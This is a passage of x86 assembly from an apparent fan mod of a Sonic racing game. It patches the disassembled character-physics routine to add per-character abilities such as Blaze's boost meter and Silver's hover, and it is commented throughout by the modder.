loc_4860B0 cmp ds:TimeToRaceStart, dword ptr 0 jnz loc_4860B0 #; Don't move forward if race hasn't started #;mov esi, [ebp+var_38] #; Spindash accel mov esi, 0x000B0000 #; 000X0000, x = spindash speed. cmp eax, 2 jle loc_486078 mov dx, [ebx+0x86] xor dh, dh and dl, 0x7F mov eax, [ebx+0x10] mov [ebx+0x86], dx mov edx, esi mov eax, 0x92568C[eax*4] sar edx, 0x0C imul eax, edx mov [ebp+Temp01], eax mov eax, [ebx+0x84] mov [ebp+var_4C], edx sar eax, 0x10 mov edx, [ebp+Temp01] sub eax, 2 imul eax, edx sar eax, 4 mov [ebx+0x2C], eax #; X Speed mov eax, [ebx+0x10] mov edx, ds:0x51E074 shl eax, 2 add eax, edx mov edx, [ebp+var_4C] mov eax, [eax] imul eax, edx mov [ebp+Temp01], eax mov eax, [ebx+0x84] sar eax, 0x10 mov edx, [ebp+Temp01] sub eax, 2 imul eax, edx sar eax, 4 mov [ebx+0x34], eax #; Z speed mov eax, 1 mov word ptr [ebx+0x0EA], 9 #; Set sound to spindash takeoff mov [ebp+var_44], eax loc_486078: #; CODE XREF: CharPhysics+885j mov edx, 6 mov eax, ecx mov [ebp+Temp01], edx mov edx, ecx mov ecx, [ebp+Temp01] sar edx, 0x1F idiv ecx mov ecx, eax mov eax, [ebx+0x44] mov word ptr [ebx+0x86], 1 test eax, eax jnz short loc_4860B9 cmp dword ptr [ebx+0x48], 0 jnz short loc_4860B9 cmp dword ptr [ebx+0x2C], 0 #; X Speed jnz short loc_4860B9 cmp dword ptr [ebx+0x34], 0 #; Z Speed jnz short loc_4860B9 loc_4860B0: #; CODE XREF: CharPhysics+772j #; CharPhysics+781j ... mov word ptr [ebx+0x86], 0 #; Stop rolling jmp CharDiff_SlopePhysics #; default #; -------------------------------------------------------------------------- CharDif_Action_Tails: #; CODE XREF: CharPhysics+31Dj #; DATA XREF: BEGTEXT:0x485740o #; Boost bar display management that is very ineffecient cmp word ptr [ebx+0x72], 0 #; On ground? jz CharDif_Action_Tails_BarSkip mov dword ptr [ebx+0x19C], 62 #; Reset meter to full CharDif_Action_Tails_BarSkip: mov eax, [ebx+0x94] #; Tails sar eax, 0x10 cmp eax, 2 #; Got airtime? jnz short loc_485AFF mov eax, [ebx+0x72] #; Not on ground? sar eax, 0x10 cmp eax, 2 jnz short loc_485AFF mov word ptr [ebx+0x0FE], 1 #; Set flying flag loc_485AFF: #; CODE XREF: CharPhysics+381j #; CharPhysics+38Cj mov eax, [ebx+0x0FC] #; Currently not flying? sar eax, 0x10 cmp eax, 1 jnz CharDiff_SlopePhysics #; default mov eax, [ebx+0x72] sar eax, 0x10 cmp eax, 2 #; Flying? jnz short loc_485B44 mov eax, [ebx+0x9E] #; In a loop? sar eax, 0x10 test eax, eax jnz short loc_485B44 mov eax, [ebx+0x70] #; On ground? sar eax, 0x10 test eax, eax jnz short loc_485B44 mov eax, [ebx+0x94] #; Fall timer expired? sar eax, 0x10 cmp eax, 0x3C jle short loc_485B53 loc_485B44: #; CODE XREF: CharPhysics+3B5j #; CharPhysics+3C2j ... mov word ptr [ebx+0x74], 0x0FFFF #; Start falling mov word ptr [ebx+0x0FE], 0 loc_485B53: #; CODE XREF: CharPhysics+3DAj inc word ptr [ebx+0x96] #; Increase fly counter mov eax, 62 sub ax, word ptr [ebx+0x96] #; Increase fly counter mov dword ptr [ebx+0x19C], eax jmp CharDiff_SlopePhysics #; default #; -------------------------------------------------------------------------- CharDif_Action_Knux: #; CODE XREF: CharPhysics+31Dj #; DATA XREF: BEGTEXT:0x485740o mov eax, [ebx+0x94] #; Knux sar eax, 0x10 #; Jumping, not falling cmp eax, 2 jnz short loc_485B81 mov eax, [ebx+0x72] #; Double jumping? sar eax, 0x10 cmp eax, 2 jnz short loc_485B81 mov word ptr [ebx+0x0FE], 4 #; Set flag loc_485B81: #; CODE XREF: CharPhysics+403j #; CharPhysics+40Ej mov eax, [ebx+0x0FC] #; Is flag set? sar eax, 0x10 cmp eax, 4 jnz CharDiff_SlopePhysics #; default mov eax, [ebx+0x72] #; Dbl jmp? sar eax, 0x10 mov esi, [ebp+JumpHeight] cmp eax, 2 jnz short loc_485BB8 mov eax, [ebx+0x9E] #; In loop? sar eax, 0x10 test eax, eax jnz short loc_485BB8 mov eax, [ebx+0x70] #; On ground? sar eax, 0x10 test eax, eax jz short loc_485BC7 loc_485BB8: #; CODE XREF: CharPhysics+437j #; CharPhysics+444j mov word ptr [ebx+0x74], 0x0FFFF #; Start jumping? mov word ptr [ebx+0x0FE], 0 loc_485BC7: #; CODE XREF: CharPhysics+44Ej mov word ptr [ebx+0x96], 3 #; Set flight flag jmp CharDiff_SlopePhysics #; default #; -------------------------------------------------------------------------- CharDif_Action_Amy: #; CODE XREF: CharPhysics+31Dj #; Lots of FPU stuff, because angles. #; Hopefully this'll work alright? #; In an external function because I had to use a C compiler for this push eax push ecx push edx push edi push esi push ebx push [ebp+Input] call CharDif_Action_Amy_Extern add esp, 8 pop esi pop edi pop edx pop ecx pop eax jmp CharDiff_SlopePhysics #; -------------------------------------------------------------------------- CharDif_Action_Fang: #; CODE XREF: CharPhysics+31Dj #; DATA XREF: BEGTEXT:0x485740o mov eax, [ebp+Input] #; Eggman, Eggrobo xor edx, edx #and eax, 0x620 and eax, 0x40 mov dx, ax mov eax, ebx call Eggman_ShootMissile #; Set BoostBar vars mov ax, 90 sub ax, word ptr [ebx+0x7E] #; Cooldown timer cwde mov dword ptr [ebx+0x19C], eax cmp dword ptr [ebx+0x18], 10 #; Do we have rings? jg CharDiff_SlopePhysics xor eax, eax mov dword ptr [ebx+0x19C], eax #; Clear Boost Bar jmp CharDiff_SlopePhysics #; default #; -------------------------------------------------------------------------- CharDif_Action_MSonic: #; Hybrid of Blaze and Silver #; Never ending boost that takes away all of your controls #; Check if we're holding Action test word ptr [ebp+Input], 0x40 jz CharDiff_SlopePhysics #; Accel Speed shl dword ptr [ebp+Accel] #; Turn traction mov dword ptr [ebp+TurnTraction], 0 #; Actually deaccel?! #; Flat-land decel #;mov dword ptr [ebp+Deaccel], 0 #; Actually jump height! #; Jump height mov dword ptr [ebp+JumpHeight], 0 #; Turn speed (standing still/midair) #;xor ecx, ecx shr ecx, 3 #; Slipperiness #;mov dword ptr [ebp+TurnSpeed], 0 shr dword ptr [ebp+TurnSpeed], 4 jmp CharDiff_SlopePhysics CharDif_Action_Blaze: #; CODE XREF: CharPhysics+31Dj test word ptr [ebp+Input], 0x40 mov word ptr [ebx+0xFE], 0 jz CharDif_Action_Blaze_RingRecover #; Check if we have any boost left cmp dword ptr [ebx+0x19C], 0 jle CharDif_Action_Blaze_RingRecover #; Decrement boost counter dec dword ptr [ebx+0x19C] #; Double acceleration, 1/4 turn speed shl dword ptr [ebp+Accel] shr dword ptr [ebp+TurnSpeed], 3 #; Add cool particle effects~! mov word ptr [ebx+0xFE], 3 CharDif_Action_Blaze_RingRecover: #; Subtract ring count with last ring count and add to boost meter mov eax, [ebx+0x18] sub eax, dword ptr [ebx+0x1A0] add dword ptr [ebx+0x1A0], eax #; Update var cmp eax, 0 jl CharDif_Action_Blaze_LapRecover #; Don't add negative rings! shl eax, 2 add dword ptr [ebx+0x19C], eax CharDif_Action_Blaze_LapRecover: #; For each new lap, add 1/2 bar size movsx eax, word ptr [ebx+0x5E] sub eax, dword ptr [ebx+0x1A4] add dword ptr [ebx+0x1A4], eax #; Update var imul eax, 150 #;MaxBoost_Blaze / 2 add dword ptr [ebx+0x19C], eax #; If race hasn't started, set to MaxBoost_Blaze (= 300) cmp ds:TimeToRaceStart, dword ptr 0 jz CharDif_Action_Blaze_BoostCap mov dword ptr [ebx+0x19C], 300 #; Cap at MaxBoost_Blaze CharDif_Action_Blaze_BoostCap: cmp dword ptr [ebx+0x19C], 300 jl CharDiff_SlopePhysics mov dword ptr [ebx+0x19C], 300 jmp CharDiff_SlopePhysics #;Done #; -------------------------------------------------------------------------- CharDif_Action_Silver: #; CODE XREF: CharPhysics+31Dj #; While action button is held, Silver should hover. #; He can hover indefinitely on the ground. #; He can only hover for a brief period of time (6 seconds) in air #; "Hovering" means "ignore friction/turning/acceleration/gravity". #; If Silver hovers off a cliff, the hover timer will start running. #; Flight Timer is used as Boost Bar source #; #; Variables: #; [ebx+0x19C] = Air hover time remaining (Range 0-300) #; -------------------------------------------------------------- #; Boost bar display management mov dword ptr [ebx+0x1BC], 0xFFFFFFFF #; Reset character tint mov dword ptr [ebx+0x1A0], 0 #; Reset hover state cmp word ptr [ebx+0x72], 0 #; On ground? jz CharDif_Action_Silver_InAir #;mov dword ptr [ebx+0x19C], 300 #; Reset meter to full cmp dword ptr [ebx+0x19C], 300 jge CharDif_Action_Silver_Update add dword ptr [ebx+0x19C], 2 #; Refill meter jmp CharDif_Action_Silver_Update CharDif_Action_Silver_InAir: #; Check if we have hover time remaining cmp dword ptr [ebx+0x19C], 0 jle CharDif_Action_Silver_Update test word ptr [ebp+Input], 0x40 #; Check if we're holding Action jz CharDiff_SlopePhysics #; If not, do nothing dec dword ptr [ebx+0x19C] #; Decrement hover counter mov dword ptr [ebx+0x30], -8192 #; Cancel air fall speed CharDif_Action_Silver_Update: #; Check if we're holding Action test word ptr [ebp+Input], 0x40 jz CharDiff_SlopePhysics #; Set hover state mov dword ptr [ebx+0x1A0], 1 mov dword ptr [ebx+0x1BC], 0xFFCBFFEC #; "Psychic" color #; Accel Speed mov dword ptr [ebp+Accel], 0 #; Turn traction mov dword ptr [ebp+TurnTraction], 0 #; Actually deaccel?! #; Flat-land decel mov dword ptr [ebp+Deaccel], 0 #; Actually jump height! #; Jump height mov dword ptr [ebp+JumpHeight], 0 #; Turn speed (standing still/midair) xor ecx, ecx #; Slipperiness mov dword ptr [ebp+TurnSpeed], 0 #; Animation #;mov word ptr [ebx+98], 5 #; Not how that works... #; Change textures (how?) CharDiff_SlopePhysics: #; CODE XREF: CharPhysics+312j #; CharPhysics+31Dj ... cmp word ptr [ebx+0x72], 0 #; Jumping? jz CharDiff_RollStart #; Skip if not mov eax, [ebx+0x0B4] #; Going uphill? sar eax, 0x10 cmp eax, 0x0FFFFF138 jle CharDiff_RollStart mov eax, [ebx+0x40] #; In water? sar eax, 0x10 test eax, eax jnz short CharDiff_RollStart test byte ptr [ebp+Input+1], 0b10001 #; Accelerating with fwd or button? jz short loc_485E8C mov eax, [ebx+0x84] #; Always FFFF sar eax, 0x10 #; Always 0000 test eax, eax jg short loc_485E8C #; Will never execute (?) mov dh, byte ptr [ebp+Input] test dh, 8 #; Pressing left jz short loc_485E69 test dh, 0x80 #; Pressing right jnz short loc_485E8C loc_485E69: #; CODE XREF: CharPhysics+6FAj mov eax, [ebx+0x0B2] #; Active Movement sar eax, 0x10 #; Slope mov edx, [ebx+0x2C] #; X momenteum sar eax, 1 add edx, eax mov eax, [ebx+0x0B6] #; Slope mov [ebx+0x2C], edx sar eax, 0x10 mov edx, [ebx+0x34] #; Z momenteum sar eax, 1 jmp short loc_485EAD #; -------------------------------------------------------------------------- loc_485E8C: #; CODE XREF: CharPhysics+6E5j #; CharPhysics+6F2j ... mov eax, [ebx+0x0B2] #; Passive Movement sar eax, 0x10 #; Slope mov edx, [ebx+0x2C] #; X Momenteum add eax, eax add edx, eax mov eax, [ebx+0x0B6] #; Slope mov [ebx+0x2C], edx sar eax, 0x10 mov edx, [ebx+0x34] #; Z Momenteum add eax, eax loc_485EAD: #; CODE XREF: CharPhysics+722j add edx, eax mov [ebx+0x34], edx CharDiff_RollStart: #; CODE XREF: CharPhysics+6BDj #; CharPhysics+6D1j ... #movsx eax, word ptr [ebx+0x0F2] #cmp eax, 3 #jge loc_4860B9 #; Not Sonic, Tails or Knux #jmp loc_4860B9 #; Not Sonic, Tails or Knux loc_4860B9: #; CODE XREF: CharPhysics+754j #; CharPhysics+7C5j ... cmp word ptr [ebx+0x0A0], 0 #; Jump if in a loop jz short loc_4860D5 xor edx, edx mov eax, ebx mov dx, word ptr [ebp+Input] #call CharDiff_Loop #; Lets you move and deaccelerate in loops. #; Crashes game right now, so I'm just not gonna bother. jmp loc_48670A #; -------------------------------------------------------------------------- loc_4860D5: #; CODE XREF: CharPhysics+959j mov eax, ebx call CharDif_CheckSpring mov eax, [ebx+0x84] sar eax, 0x10 cmp eax, 2 jge loc_48623D cmp [ebp+var_44], dword ptr 1 jz loc_48623D mov eax, [ebp+Deaccel] #; Don't calculate deaccel if not needed mov edx, [ebx+0x30] #; Y Speed test eax, eax jz loc_48629A test word ptr [ebp+Input], 0x620 #; Jump button! jz short loc_48614F cmp dword ptr [ebx+0x68], 0 jnz short loc_48614F #; Jump if running on water? mov eax, [ebx+0x76] #; Out of airtime sar eax, 0x10 test eax, eax jnz short loc_48614F mov eax, [ebx+0x72] #; Check current flightmode sar eax, 0x10 test eax, eax jz short loc_48612D cmp eax, 2 jnz short loc_486147 loc_48612D: #; CODE XREF: CharPhysics+9BEj mov eax, [ebx+0x70] #; Check ground flag sar eax, 0x10 test eax, eax jnz short loc_48613F mov word ptr [ebx+0x74], 2 #; On ground jmp short loc_486155 #; -------------------------------------------------------------------------- loc_48613F: #; CODE XREF: CharPhysics+9CDj mov word ptr [ebx+0x74], 1 #; Falling jmp short loc_486155 #; -------------------------------------------------------------------------- loc_486147: #; CODE XREF: CharPhysics+9C3j mov word ptr [ebx+0x74], 0x0FFFF #; Jumping jmp short loc_486155 #; -------------------------------------------------------------------------- loc_48614F: #; CODE XREF: CharPhysics+9A4j #; CharPhysics+9AAj ... mov word ptr [ebx+0x74], 0 #; Involuntarily falling loc_486155: #; CODE XREF: CharPhysics+9D5j #; CharPhysics+9DDj ... mov eax, [ebx+0x72] sar eax, 0x10 mov [ebp+AirStatus], eax test eax, eax jz loc_48629A mov eax, [ebx+0x70] #; On ground? sar eax, 0x10 test eax, eax jz loc_4861F3 #; Don't jump cmp [ebp+AirStatus], dword ptr 0 jle loc_48629A #; Redundancy, I guess mov word ptr [ebx+0x76], 1 mov edx, 0x8FB94C mov word ptr [ebx+0x72], 0 cmp edx, 1 jnz short loc_4861B1 cmp ebx, 0x8FD4E8 jnz short loc_4861B1 xor eax, eax mov edx, 0x180 mov [0x901C60], eax mov [0x901C5C], edx jmp short loc_4861C3 #; -------------------------------------------------------------------------- loc_4861B1: #; CODE XREF: CharPhysics+A2Bj #; CharPhysics+A33j xor eax, eax mov edx, 0x180 mov [0x901C58], eax mov [0x901C54], edx loc_4861C3: #; CODE XREF: CharPhysics+A47j mov word ptr [ebx+0x86], 0 mov word ptr [ebx+0x98], 1 #; Jumping animation mov edx, [ebp+Deaccel] mov word ptr [ebx+0x96], 2 #; Time in air mov eax, ebx mov word ptr [ebx+0x0EA], 7 #; Jump sound call CharDiff_Jump #; Probably moves character too. mov edx, eax loc_4861F3: #; CODE XREF: CharPhysics+A06j #; CharPhysics+B3Aj ... add edx, 0x2000 #; Fall Acceleration cmp edx, 0x25800 #; Max fall speed jle short loc_486206 mov edx, 0x25800 loc_486206: #; CODE XREF: CharPhysics+A97j mov eax, [ebx+0x70] #; On Ground? sar eax, 0x10 test eax, eax jz short loc_486212 #; If so, stop falling xor edx, edx loc_486212: #; CODE XREF: CharPhysics+AA6j #; CharPhysics+B67j mov eax, [ebx+0x0FC] #; Tails flying sar eax, 0x10 cmp eax, 1 jnz short loc_486222 mov edx, 0x8200 test word ptr [ebp+Input], 0x40 #; Holding Camera? jz loc_486222 neg edx #; If not holding button, fall loc_486222: #; CODE XREF: CharPhysics+AB6j mov eax, [ebx+0x0FC] #; Knux gliding sar eax, 0x10 cmp eax, 4 jnz short loc_486235 mov edx, 0x6000 loc_486235: #; CODE XREF: CharPhysics+AC6j mov [ebx+0x30], edx mov eax, edx add [ebx+4], eax #; Y speed loc_48623D: #; CODE XREF: CharPhysics+980j #; CharPhysics+98Aj cmp word ptr [ebx+0x88], 0 #; Has speed shoes jz short loc_486262 mov eax, 5 mov esi, [ebp+JumpHeight] #; New; was in all character actions. mov edx, esi #; Jump height (from forever ago) mov [ebp+Temp01], eax sar edx, 0x1F mov eax, esi idiv dword ptr [ebp+Temp01] add esi, eax #; ESI = forward speed? dec word ptr [ebx+0x88] #; Speed shoes timer loc_486262: #; CODE XREF: CharPhysics+ADDj mov edx, [ebx+0x16] #; X-Y Rotation sar edx, 0x10 imul edx, esi mov [ebp+Temp01], dword ptr 0x3E8 mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] add esi, eax xor edx, edx mov eax, [ebx+0x68] #; Water depth (?) mov [ebp+var_50], edx test eax, eax jz short loc_4862E3 #; ?? mov [ebp+var_50], dword ptr 1 cmp eax, 0x60000 jnz short loc_4862D4 mov esi, edi jmp short loc_4862F1 #; -------------------------------------------------------------------------- loc_48629A: #; CODE XREF: CharPhysics+998j #; CharPhysics+9F8j ... mov eax, [ebx+0x74] #; Air timeout for Tails sar eax, 0x10 test eax, eax jz loc_4861F3 test edx, edx #; ebp+30 jge loc_4861F3 cmp edx, 0x0FFFF3800 jge short loc_4862BE add edx, 0x6000 loc_4862BE: #; CODE XREF: CharPhysics+B4Ej mov eax, edx sar edx, 0x1F sub eax, edx sar eax, 1 mov word ptr [ebx+0x76], 0 #; Now we're out of airtime mov edx, eax jmp loc_486212 #; -------------------------------------------------------------------------- loc_4862D4: #; CODE XREF: CharPhysics+B2Cj mov edx, edi mov eax, edi sar edx, 0x1F sub eax, edx sar eax, 1 mov esi, eax jmp short loc_4862F1 #; -------------------------------------------------------------------------- loc_4862E3: #; CODE XREF: CharPhysics+B1Ej mov eax, [ebx+0x3E] sar eax, 0x10 cmp eax, 1 jnz short loc_4862F1 mov esi, [ebp+UnkAttrib] loc_4862F1: #; CODE XREF: CharPhysics+B30j #; CharPhysics+B79j ... xor edi, edi mov word ptr [ebx+0x0D4], 0 mov [ebp+Drift], edi /*movsx eax, word ptr [ebx+0x0F2] cmp eax, 3 #; Jump if Amy jz short loc_486317 movsx eax, word ptr [ebx+0x0F2] cmp eax, 4 #; Jump if not Robotnik jnz short loc_486372 #; They never go underwater*/ loc_486317: #; CODE XREF: CharPhysics+BA1j test byte ptr [ebp+Input+1], 0x40 #; Left jz short loc_486326 add word ptr [ebx+0x0D4], 0x80 loc_486326: #; CODE XREF: CharPhysics+BB3j test byte ptr [ebp+Input+1], 0x80 #; Right jz short loc_486335 sub word ptr [ebx+0x0D4], 0x80 loc_486335: #; CODE XREF: CharPhysics+BC2j test byte ptr [ebp+Input], 8 jz short loc_486341 inc byte ptr [ebx+0x0D5] loc_486341: #; CODE XREF: CharPhysics+BD1j test byte ptr [ebp+Input], 0x80 jz short loc_486350 sub word ptr [ebx+0x0D4], 0x100 loc_486350: #; CODE XREF: CharPhysics+BDDj mov eax, [ebx+0x0D2] sar eax, 0x10 cdq xor eax, edx sub eax, edx cmp eax, 0x100 jl short loc_4863A0 mov eax, [ebx+0x0D2] sar eax, 0x10 add eax, eax jmp short loc_48639D #; -------------------------------------------------------------------------- loc_486372: #; CODE XREF: CharPhysics+BADj cmp [ebp+var_50], dword ptr 0 jnz short loc_4863A0 test byte ptr [ebp+Input], 8 jz short loc_486385 add byte ptr [ebx+0x0D5], 2 loc_486385: #; CODE XREF: CharPhysics+C14j test byte ptr [ebp+Input], 0x80 jz short loc_486394 sub word ptr [ebx+0x0D4], 0x200 loc_486394: #; CODE XREF: CharPhysics+C21j mov eax, [ebx+0x0D2] sar eax, 0x10 loc_48639D: #; CODE XREF: CharPhysics+C08j mov [ebp+Drift], eax loc_4863A0: #; CODE XREF: CharPhysics+BFBj #; CharPhysics+C0Ej movsx eax, word ptr [ebx+0x0F2] test eax, eax #; Jump if not Sonic jnz short loc_4863BF mov eax, [ebx+0x70] sar eax, 0x10 test eax, eax #; Jump if on ground jnz short loc_4863BF mov edx, [ebp+Drift] sar edx, 1 sar ecx, 1 mov [ebp+Drift], edx loc_4863BF: #; CODE XREF: CharPhysics+C41j #; CharPhysics+C4Bj cmp dword ptr [ebx+0x44], 0 #; Fwd Speed jnz short loc_4863E7 #; Jump if not still cmp dword ptr [ebx+0x48], 0 jnz short loc_4863E7 mov edx, ecx mov eax, ecx sar edx, 0x1F sub eax, edx sar eax, 1 mov ecx, eax mov eax, [ebp+Drift] mov edx, eax sar edx, 0x1F sub eax, edx sar eax, 1 mov [ebp+Drift], eax loc_4863E7: #; CODE XREF: CharPhysics+C5Bj #; CharPhysics+C61j mov eax, [ebx+0x6C] #; Pressing fwd key? sar eax, 0x10 test eax, eax jz short loc_486408 #; Jump if not pressing mov eax, [ebp+TurnSpeed] mov edx, eax sar edx, 0x1F sub eax, edx sar eax, 1 mov edx, [ebp+Accel] add edx, edx mov [ebp+TurnSpeed], eax mov [ebp+Accel], edx loc_486408: #; CODE XREF: CharPhysics+C87j mov dl, byte ptr [ebp+Input] test dl, 8 jz short loc_48641F test dl, 0x80 jz short loc_48641F cmp dword ptr [ebx+0x44], 0 jz loc_486497 loc_48641F: #; CODE XREF: CharPhysics+CA6j #; CharPhysics+CABj mov edx, [ebp+Drift] imul edx, ecx mov eax, edx sar edx, 0x1F shl edx, 0x0A sbb eax, edx sar eax, 0x0A mov dl, byte ptr [ebp+Input+1] test dl, 0x40 jz short loc_48645E cmp [ebp+Drift], dword ptr 0 jz short loc_486459 mov edi, [ebx+0x48] add ecx, eax mov eax, [ebx+0x44] cmp eax, edi jge short loc_486459 cmp eax, 0x8000 jle short loc_486459 mov word ptr [ebx+0x6E], 1 loc_486459: #; CODE XREF: CharPhysics+CD6j #; CharPhysics+CE2j ... sub [ebx+0x10], ecx jmp short loc_486497 #; -------------------------------------------------------------------------- loc_48645E: #; CODE XREF: CharPhysics+CD0j test dl, 0x80 jz short loc_486489 cmp [ebp+Drift], dword ptr 0 jz short loc_486484 sub ecx, eax mov eax, [ebx+0x44] #; Fwd Speed mov edx, [ebx+0x48] neg eax cmp eax, edx jle short loc_486484 cmp eax, 0x0FFFF8000 jge short loc_486484 mov word ptr [ebx+0x6E], 0x0FFFF loc_486484: #; CODE XREF: CharPhysics+CFFj #; CharPhysics+D0Dj ... add [ebx+0x10], ecx jmp short loc_486497 #; -------------------------------------------------------------------------- loc_486489: #; CODE XREF: CharPhysics+CF9j mov eax, [ebp+Drift] mov edx, [ebx+0x10] sar eax, 5 sub edx, eax mov [ebx+0x10], edx loc_486497: #; CODE XREF: CharPhysics+CB1j #; CharPhysics+CF4j ... mov eax, [ebx+0x6C] sar eax, 0x10 cmp eax, 1 jnz short loc_4864B0 mov ecx, [ebx+0x48] cmp ecx, [ebx+0x44] jg short loc_4864B0 mov word ptr [ebx+0x6E], 0 loc_4864B0: #; CODE XREF: CharPhysics+D38j #; CharPhysics+D40j mov eax, [ebx+0x6C] sar eax, 0x10 cmp eax, 0x0FFFFFFFF jnz short loc_4864CD mov eax, [ebx+0x44] mov edi, [ebx+0x48] neg eax cmp eax, edi jg short loc_4864CD mov word ptr [ebx+0x6E], 0 #; Clear fwd key flag loc_4864CD: #; CODE XREF: CharPhysics+D51j #; CharPhysics+D5Dj cmp word ptr [ebx+0x72], 0 #; Jump if in air jz short loc_4864E5 mov eax, [ebx+0x0DC] mov edx, [ebx+0x10] sar eax, 0x10 add edx, eax mov [ebx+0x10], edx loc_4864E5: #; CODE XREF: CharPhysics+D6Aj mov edx, [ebx+0x6E] mov ecx, [ebx+0x10] #; XY Rotation sar edx, 0x10 and ecx, 0x0FFF sub edx, ecx and edx, 0x0FFF mov [ebx+0x10], ecx cmp edx, 0x800 jl short loc_486512 mov eax, 0x1000 sub eax, edx mov edx, eax neg edx loc_486512: #; CODE XREF: CharPhysics+D9Dj mov eax, [ebx+0x6E] sar edx, 3 sar eax, 0x10 sub eax, edx mov [ebx+0x70], ax mov cl, [ebx+0x71] mov eax, [ebx+0x84] and cl, 0x0F sar eax, 0x10 mov [ebx+0x71], cl cmp eax, 2 jge loc_48670A mov eax, 0x1000 sub eax, [ebx+0x10] and eax, 0x0FFF mov edx, 0x92568C[eax*4] sar edx, 2 mov [ebp+var_58], edx mov edx, ds:0x51E074 mov ecx, [edx+eax*4] sar ecx, 2 mov eax, [ebx+0x2C] imul eax, ecx mov edi, [ebp+var_58] mov edx, [ebx+0x34] imul edx, edi add edx, eax mov eax, edx sar edx, 0x1F shl edx, 0x0C sbb eax, edx sar eax, 0x0C mov edx, [ebx+0x34] imul edx, ecx mov edi, eax mov eax, [ebx+0x2C] imul eax, [ebp+var_58] sub edx, eax mov eax, edx sar edx, 0x1F shl edx, 0x0C sbb eax, edx sar eax, 0x0C mov edx, [ebp+Drift] mov ecx, eax mov eax, [ebp+TurnSpeed] imul eax, edx sar eax, 0x0A test edi, edi jge short loc_4865BD mov edx, [ebp+TurnSpeed] sub edx, eax add edi, edx test edi, edi jle short loc_4865CA jmp short loc_4865C8 #; -------------------------------------------------------------------------- loc_4865BD: #; CODE XREF: CharPhysics+E46j jle short loc_4865CA add eax, [ebp+TurnSpeed] sub edi, eax test edi, edi jge short loc_4865CA loc_4865C8: #; CODE XREF: CharPhysics+E53j xor edi, edi loc_4865CA: #; CODE XREF: CharPhysics+E51j #; CharPhysics:loc_4865BDj ... mov eax, [ebp+TurnTraction] add eax, eax test ecx, ecx jge short loc_4865DB add ecx, eax test ecx, ecx jle short loc_4865E5 jmp short loc_4865E3 #; -------------------------------------------------------------------------- loc_4865DB: #; CODE XREF: CharPhysics+E69j jle short loc_4865E5 sub ecx, eax test ecx, ecx jge short loc_4865E5 loc_4865E3: #; CODE XREF: CharPhysics+E71j xor ecx, ecx loc_4865E5: #; CODE XREF: CharPhysics+E6Fj #; CharPhysics:loc_4865DBj ... mov al, byte ptr [ebp+Input] test al, 8 jz short CharDif_FinalizeAccel test al, 0x80 jz short CharDif_FinalizeAccel mov eax, [ebx+0x70] sar eax, 0x10 test eax, eax jz short CharDif_FinalizeAccel test ecx, ecx jle short loc_486654 mov eax, [ebx+0x44] cdq xor eax, edx sub eax, edx mov [ebp+Temp01], eax mov eax, [ebx+0x48] cdq xor eax, edx sub eax, edx cmp eax, [ebp+Temp01] jge short loc_486625 cmp dword ptr [ebx+0x44], 0x1000 jle short loc_486625 inc word ptr [ebx+0x6C] jmp short loc_48662B #; -------------------------------------------------------------------------- loc_486625: #; CODE XREF: CharPhysics+EACj #; CharPhysics+EB5j mov word ptr [ebx+0x6C], 0 loc_48662B: #; CODE XREF: CharPhysics+EBBj sub ecx, [ebp+Accel] test ecx, ecx jge short loc_48665A xor ecx, ecx jmp short loc_48665A #; -------------------------------------------------------------------------- CharDif_FinalizeAccel: #; CODE XREF: CharPhysics+E82j #; CharPhysics+E86j ... test byte ptr [ebp+Input+1], 0x31 #; Forward or accelerate or backwards? jz short loc_486654 cmp ds:TimeToRaceStart, dword ptr 0 #; Has race started? jnz short loc_486654 mov word ptr [ebx+0x6C], 0x0FFFF cmp ecx, esi jge short loc_48665A test byte ptr [ebp+Input+1], 0x20 #; Backwards je CharDif_FinalizeAccel_Fwd CharDif_FinalizeAccel_Back: sub ecx, [ebp+Accel] jmp short loc_48665A CharDif_FinalizeAccel_Fwd: add ecx, [ebp+Accel] jmp short loc_48665A #; -------------------------------------------------------------------------- loc_486654: #; CODE XREF: CharPhysics+E94j #; CharPhysics+ED2j ... mov word ptr [ebx+0x6C], 0 loc_48665A: #; CODE XREF: CharPhysics+EC8j #; CharPhysics+ECCj ... cmp edi, esi jle short loc_486660 mov edi, esi loc_486660: #; CODE XREF: CharPhysics+EF4j mov eax, esi neg eax cmp edi, eax jge short loc_48666A mov edi, eax loc_48666A: #; CODE XREF: CharPhysics+EFEj cmp [ebp+var_50], dword ptr 1 jnz short loc_48667A cmp ecx, esi jle short loc_48667A sub ecx, 0x1000 loc_48667A: #; CODE XREF: CharPhysics+F06j #; CharPhysics+F0Aj neg esi cmp ecx, esi jge short loc_486686 add ecx, 0x4000 loc_486686: #; CODE XREF: CharPhysics+F16j mov edx, [ebp+MaxFwdSpeed] cmp ecx, edx jle short loc_48668F mov ecx, edx loc_48668F: #; CODE XREF: CharPhysics+F23j mov eax, [ebp+MaxFwdSpeed] neg eax cmp ecx, eax jge short loc_48669A mov ecx, eax loc_48669A: #; CODE XREF: CharPhysics+F2Ej mov [ebx+0x48], edi mov eax, [ebx+0x10] mov [ebx+0x44], ecx shl eax, 2 mov edx, ds:0x51E074 mov esi, 0x92568C[eax] sar esi, 2 add eax, edx mov edx, ecx imul edx, esi mov eax, [eax] sar eax, 2 mov [ebp+var_54], eax imul eax, edi add edx, eax mov eax, edx sar edx, 0x1F shl edx, 0x0C sbb eax, edx sar eax, 0x0C imul ecx, [ebp+var_54] mov edx, edi imul edx, esi sub ecx, edx mov [ebx+0x2C], eax #; Load X speed mov edx, ecx mov eax, ecx sar edx, 0x1F shl edx, 0x0C sbb eax, edx sar eax, 0x0C mov [ebx+0x34], eax #; Set Z Speed mov ecx, [ebx] #; Load X pos mov eax, [ebx+0x2C] #; Load X Speed mov esi, [ebx+8] #; Load Z pos add ecx, eax mov eax, [ebx+0x34] #; Load Z Speed mov [ebx], ecx #; X pos += X speed add esi, eax mov [ebx+8], esi #; Z pos += Z Speed loc_48670A: #; CODE XREF: CharPhysics+968j #; CharPhysics+DCEj lea esp, [ebp-0x10] pop edi pop esi pop ecx pop ebx pop ebp ret .org 0x486714, 0x0F0B /* #; Slope "bug" fix #; See https://iinvisibleup.neocities.org/articles/16 . = 0x485E20 CharDiff_SpeedCheck: cmp word ptr [ebx+0x72], 0 # Skip if jumping jz CharDiff_RollStart mov eax, [ebx+44] cmp eax, dword ptr SlopeFix_SpeedCutoff # Speed cutoff jg CharDiff_SlopeCheckSkip mov eax, [ebx+0xB4] # Skip if not on big hill sar eax, 0x10 cmp eax, dword ptr 